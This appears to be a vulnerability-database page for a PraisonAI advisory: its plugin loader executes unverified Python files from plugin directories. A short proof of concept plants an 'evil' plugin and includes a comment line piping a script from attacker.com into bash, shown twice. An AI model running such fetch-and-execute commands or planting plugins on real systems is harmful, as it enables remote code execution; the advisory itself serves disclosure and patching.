GHSA-M6WP-H223-4C8G
Vulnerability from github – Published: 2026-10-08 16:44 – Updated: 2026-10-08 16:44Summary
The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
Details
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
spec = importlib.util.spec_from_file_location(module_name, file_path)
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module) # Executes arbitrary Python code
if hasattr(module, "create_plugin"):
return module.create_plugin() # Calls arbitrary function
src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.
PoC
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os
# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
'# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
'def create_plugin():\n return {"name": "evil"}\n')
# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
# Verify code executed
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME"
Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.
Impact
- Arbitrary code execution: Any
.pyfile in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization
- Persistence: A planted plugin survives restarts and executes every time the framework starts
- Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61446"
],
"database_specific": {
"cwe_ids": [
"CWE-427",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T16:44:04Z",
"nvd_published_at": "2026-07-15T17:16:52Z",
"severity": "HIGH"
},
"details": "### Summary\nThe plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.\n\n### Details\n\n`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):\n\n```python\ndef _load_plugin_file(self, file_path: Path) -\u003e Optional[Plugin]:\n module_name = f\"praison_plugin_{file_path.stem}_{id(file_path)}\"\n spec = importlib.util.spec_from_file_location(module_name, file_path)\n module = importlib.util.module_from_spec(spec)\n sys.modules[module_name] = module\n spec.loader.exec_module(module) # Executes arbitrary Python code\n\n if hasattr(module, \"create_plugin\"):\n return module.create_plugin() # Calls arbitrary function\n```\n\n`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):\n\n```python\n# Auto-discovery paths:\n# 1. Project: ./.praisonai/plugins/\n# 2. User: ~/.praisonai/plugins/\n```\n\nNo code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file\u0027s docstring header.\n\n\n### PoC\n\n```python\nfrom praisonaiagents.plugins.discovery import load_plugin\nimport tempfile, os\n\n# Create a \"malicious\" plugin\ntest_dir = tempfile.mkdtemp()\nplugin_file = os.path.join(test_dir, \u0027evil.py\u0027)\nwith open(plugin_file, \u0027w\u0027) as f:\n f.write(\u0027\"\"\"\\nPlugin Name: Evil Plugin\\nDescription: test\\nVersion: 1.0.0\\n\"\"\"\\n\u0027\n \u0027PROOF = \"CODE_EXECUTED_AT_IMPORT_TIME\"\\n\u0027\n \u0027# In a real attack: os.system(\"curl attacker.com/shell.sh | bash\")\\n\u0027\n \u0027def create_plugin():\\n return {\"name\": \"evil\"}\\n\u0027)\n\n# Load it\nresult = load_plugin(plugin_file)\nprint(f\"Result: {result}\") # {\u0027name\u0027: \u0027Evil Plugin\u0027, ...}\n\n# Verify code executed\nimport sys\nfor name, mod in sys.modules.items():\n if \u0027evil\u0027 in name:\n print(f\"EXPLOIT CONFIRMED: {mod.PROOF}\") # \"CODE_EXECUTED_AT_IMPORT_TIME\"\n```\n\n**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.\n\n### Impact\n\n- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access\n- **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization\n- **Persistence**: A planted plugin survives restarts and executes every time the framework starts\n- **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely",
"id": "GHSA-m6wp-h223-4c8g",
"modified": "2026-10-08T16:44:04Z",
"published": "2026-10-08T16:44:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61446"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62165"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.